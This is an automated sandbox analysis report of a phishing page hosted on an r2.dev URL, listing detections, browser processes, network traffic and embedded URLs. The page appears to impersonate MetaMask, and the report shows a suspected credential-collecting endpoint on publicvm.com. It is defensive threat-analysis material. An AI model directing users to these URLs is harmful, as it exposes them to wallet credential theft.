Edit tour

Windows Analysis Report
http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html

Overview

General Information

Sample URL:	http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html
Analysis ID:	1521686
Tags:	openphish
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected HtmlPhish64

HTML body contains low number of good links

HTML title does not match URL

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2312,i,4801764963995322035,18166744898279326434,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1727568597813&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:20 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTAR5NG476RCG1HREVEQMContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:20 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTAS27Q9QE70BNYF40XEMContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:22 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTCEZCFBDAWS7N1VTN00YContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:22 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTCF0G1T3DKBG789EA06GContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:22 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTCF1G1B7AR2KWQVG5P9WContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:22 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTCF9JPQGC6K95RB6ZV2QContent-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:22 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTCNX2ZK1CQHAS90DPGA8Content-Length: 50Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: private, max-age=0Content-Type: text/plain; charset=utf-8Date: Sun, 29 Sep 2024 00:10:23 GMTServer: NetlifyStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadX-Nf-Request-Id: 01J8XHTE349GCC0SF98WV7SVWBContent-Length: 50Connection: close

Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_75.2.dr, chromecache_91.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_77.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/confirm.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-close.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/eye-open.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/full.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/icon.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/logo.png
Source: chromecache_77.2.dr	String found in binary or memory: https://bestfilltype.netlify.app/tada.png
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_77.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_77.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: chromecache_77.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.3.1.js
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_77.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Poppins:wght
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLBT5Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDD4Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: chromecache_73.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_77.2.dr	String found in binary or memory: https://metamask.io/
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_77.2.dr	String found in binary or memory: https://shshdjdhakfoabg.publicvm.com/new.php
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_79.2.dr, chromecache_88.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49741 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@17/45@20/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2312,i,4801764963995322035,18166744898279326434,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2312,i,4801764963995322035,18166744898279326434,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	19%	Virustotal		Browse
http://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
cdnjs.cloudflare.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
gtomitsuka.github.io	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev	14%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
bestfilltype.netlify.app	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://bugs.webkit.org/show_bug.cgi?id=136851	0%	URL Reputation	safe
http://jquery.org/license	0%	URL Reputation	safe
http://jquery.org/license	0%	URL Reputation	safe
https://jsperf.com/thor-indexof-vs-for/5	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/12359	0%	URL Reputation	safe
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	0%	URL Reputation	safe
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#common-serializing-idioms	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	0%	URL Reputation	safe
https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js	0%	URL Reputation	safe
https://bestfilltype.netlify.app/full.png	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/13378	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://bestfilltype.netlify.app/confirm.png	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-open.png	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#resolved-values	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.1.1.min.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	0%	URL Reputation	safe
https://metamask.io/	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://jsperf.com/getall-vs-sizzle/2	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.3.1.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#category-listed	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
https://jquery.org/license	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	URL Reputation	safe
https://jquery.com/	0%	URL Reputation	safe
https://bestfilltype.netlify.app/icon.png	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=137337	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	0%	URL Reputation	safe
